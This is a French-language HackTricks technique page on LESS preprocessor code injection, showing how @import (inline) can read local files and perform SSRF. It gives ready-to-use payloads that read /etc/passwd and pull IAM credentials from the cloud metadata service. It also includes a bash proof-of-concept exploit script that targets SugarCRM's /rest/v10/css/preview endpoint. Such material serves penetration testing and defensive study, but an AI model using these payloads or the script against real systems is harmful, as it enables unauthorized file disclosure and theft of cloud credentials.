LESS Code Injection leading to SSRF & Local File Read

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

LESS est un préprocesseur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive @import. Lors de la compilation, le moteur LESS va récupérer les ressources référencées dans les instructions @import et intégrer (“inline”) leur contenu dans le CSS résultant lorsque l’option (inline) est utilisée.

Lorsqu’une application concatène des données contrôlées par l’utilisateur dans une chaîne qui est ensuite analysée par le compilateur LESS, un attaquant peut injecter du code LESS arbitraire. En abusant de @import (inline), l’attaquant peut forcer le serveur à récupérer :

  • Des fichiers locaux via le protocole file:// (divulgation d’informations / Local File Inclusion).
  • Des ressources distantes sur des réseaux internes ou des services de métadonnées cloud (SSRF).

Cette technique a été observée dans des produits réels tels que SugarCRM ≤ 14.0.0 (point de terminaison /rest/v10/css/preview).

Exploitation

  1. Identifiez un paramètre qui est directement intégré dans une chaîne de feuille de style traitée par le moteur LESS (par ex. ?lm= dans SugarCRM).
  2. Fermez l’instruction actuelle et injectez de nouvelles directives. Les primitives les plus courantes sont :
  • ; – termine la déclaration précédente.
  • } – ferme le bloc précédent (si nécessaire).
  1. Utilisez @import (inline) '<URL>'; pour lire des ressources arbitraires.
  2. Injectez éventuellement un marqueur (data: URI) après l’import pour faciliter l’extraction du contenu récupéré depuis le CSS compilé.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Le contenu de /etc/passwd apparaîtra dans la réponse HTTP juste avant le marqueur @@END@@.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

PoC automatisé (exemple SugarCRM)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Cas réels

ProduitEndpoint vulnérableImpact
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Unauthenticated SSRF & local file read

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks